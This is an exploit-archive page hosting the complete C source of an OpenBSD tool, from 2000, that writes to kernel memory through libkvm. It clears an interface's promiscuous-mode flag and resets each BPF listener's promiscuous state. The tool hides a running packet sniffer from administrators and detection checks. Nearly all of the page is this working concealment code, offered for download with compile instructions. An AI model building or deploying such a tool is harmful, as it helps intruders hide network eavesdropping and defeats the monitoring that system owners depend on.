exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

obsd_obscura.c

obsd_obscura.c
Posted May 23, 2000
Authored by s0ftpj, Pigpen | Site s0ftpj.org

Total obscurity for BPF Promisc Mode. OpenBSD Port.

systems | openbsd
SHA-256 | 4075e9176076c0914106ea44b5e66b037da9891ef3eb9c883807688ff1af19b2

obsd_obscura.c

Change Mirror Download
/*
* Name: Promisc Mode Obscurity via kvm
* Date: May 23 03:46:51 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* SoftProject Digital Security for Y2K
* Sikurezza.org Italian Security Mailing List
*
* COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
* Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
*
* Tested on: OpenBSD 2.6 kern#0 i386
*
* cc obsd_obscura.c -lkvm
*/

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <kvm.h>
#include <err.h>
#include <sysexits.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpfdesc.h>

#define Error(x) errx(EX_UNAVAILABLE, x);

struct nlist list[] = {
{"_ifnet"},
{NULL}
};


void
usage(char *arg)
{
printf( "OpenBSD - Promisc Total Obscurity\n"
"---------------------------------\n\n"
"Coded By pIGpEN / s0FtPj Y2k\n\n");

printf("%s <interface>\n", arg);

exit(0);
}

void
bpf_zero(kvm_t *kd, struct ifnet *ifp)
{
struct bpf_if ibpf;
struct bpf_d dbpf, *pdbpf;
int count = 0;

kvm_read(kd, (u_long) ifp->if_bpf, &ibpf, sizeof ibpf);

for(pdbpf = ibpf.bif_dlist; pdbpf; pdbpf = dbpf.bd_next) {
kvm_read(kd, (u_long) pdbpf, &dbpf, sizeof dbpf);
printf("#%d listener has %s promisc mode enabled",
++count, (!dbpf.bd_promisc) ? "no " : " ");

if(dbpf.bd_promisc) {
printf(" (changed)");
dbpf.bd_promisc = 0;
kvm_write(kd, (u_long) pdbpf, &dbpf, sizeof dbpf);
}

putchar('\n');
}
}



int
main(int argc, char **argv)
{
kvm_t *kd;
struct ifnet_head ifh;
struct ifnet ifc, *ifp;

if(argc != 2)
usage(argv[0]);

if(!(kd=kvm_open(NULL, NULL, NULL, O_RDWR, argv[0])))
Error("kvm_open()");

if(kvm_nlist(kd, list) == -1)
Error("kvm_nlist()");

if(!list[0].n_value)
Error("checking n_value");

kvm_read(kd, list[0].n_value, &ifh, sizeof ifh);

for(ifp = ifh.tqh_first; ifp; ifp = ifc.if_list.tqe_next) {

kvm_read(kd, (u_long) ifp, &ifc, sizeof ifc);

if(!strcmp(argv[1], ifc.if_xname)) {
printf("%s found ... promisc mode ", ifc.if_xname);
if(ifc.if_flags & IFF_PROMISC) {
printf("(found)\n");

if(ifc.if_pcount)
/* Like in FreeBSD version, you can do a
* perfect thing by decreasing for each
* descriptor found
*/
ifc.if_pcount = 0;

ifc.if_flags &= ~IFF_PROMISC;

kvm_write(kd, (u_long) ifp, &ifc, sizeof ifc);
printf("BPF Analysis for %s interface\n",
ifc.if_xname);
bpf_zero(kd, &ifc);
}else
printf("(not found)\n");

}else
printf("skipping -> %s\n", ifc.if_xname);
}

kvm_close(kd);

return 0;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close